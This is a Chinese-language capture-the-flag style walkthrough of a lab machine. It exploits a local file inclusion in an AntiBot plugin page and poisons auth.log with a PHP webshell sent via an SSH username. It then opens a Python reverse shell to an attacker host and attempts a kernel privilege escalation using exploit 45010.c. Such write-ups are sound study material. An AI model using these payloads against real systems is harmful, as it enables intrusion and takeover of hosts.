arp-scan -l用arp-scan探测一下网段内目标靶机的IP
arp-scan 是一款轻量级的arp扫描工具，会解析mac地址，就是想 局域网 中所有可能的ip地址发出arp请求包，如果得到arp回应，就证明了局域网中某主机使用了该ip。
nmap扫一下c段
nmap -A -T4 -p- 扫描端口
访问发现是apache和ubuntu操作系统
使用dirsearch进行目录遍历
/antibot_image/
里面暴露了两个敏感信息
info.php
screenshot-3.jpg 展示此系统使用了AntiBotPlugin插件
info.php查看源码
可能存在文件包含
通过传入../../../../../../etc/passwd,获取敏感信息
在Linux /etc/passwd文件中每个用户都有一个对应的记录行，它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
远程文件包含关闭，尝试本地文件包含
包含/var/log/auth.log 可以看到日志文件
/var/log/auth.log是Linux（尤其是Debian系如Ubuntu）记录身份验证和授权事件的日志文件，包括登录尝试（成功或失败）、SSH活动、sudo使用和PAM模块操作。
前面信息搜集时发现开放了 2211 端口，服务为 ssh，尝试对日志文件写入 shell，然后包含日志文件
利用 ssh 连接，写入一句话木马： ssh '<?php system($_GET['cmd']);?>'@192.168.139.187 -p 2211
下面命令执行成功，说明一句话木马写入成功
http://192.168.137.146/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=id
在kali打开监听端口：nc -lnvp 4444
在浏览器中输入
http://192.168.137.146/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.150",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali监听到操作，成功获得靶机shell
生成可交互式的shell：python3 -c "import pty;pty.spawn('/bin/bash')"
查看系统内核版本：uname -a
发现系统内核是：Linux ubuntu 4.4.0-21-generic
在kali中查找该系统内核的提权包：searchsploit ubuntu 4.4.0-
下载提权包
文件是.c文件，需要编译才能运行
gcc 45010.c -o exp 把.c文件编译成可执行文件
开启http服务：python3 -m http.server 80
到tmp目录下下载提权poc
版本不匹配,如果版本正确运行攻击代码就可以将权限提升到root权限了，就可以拿到flag了
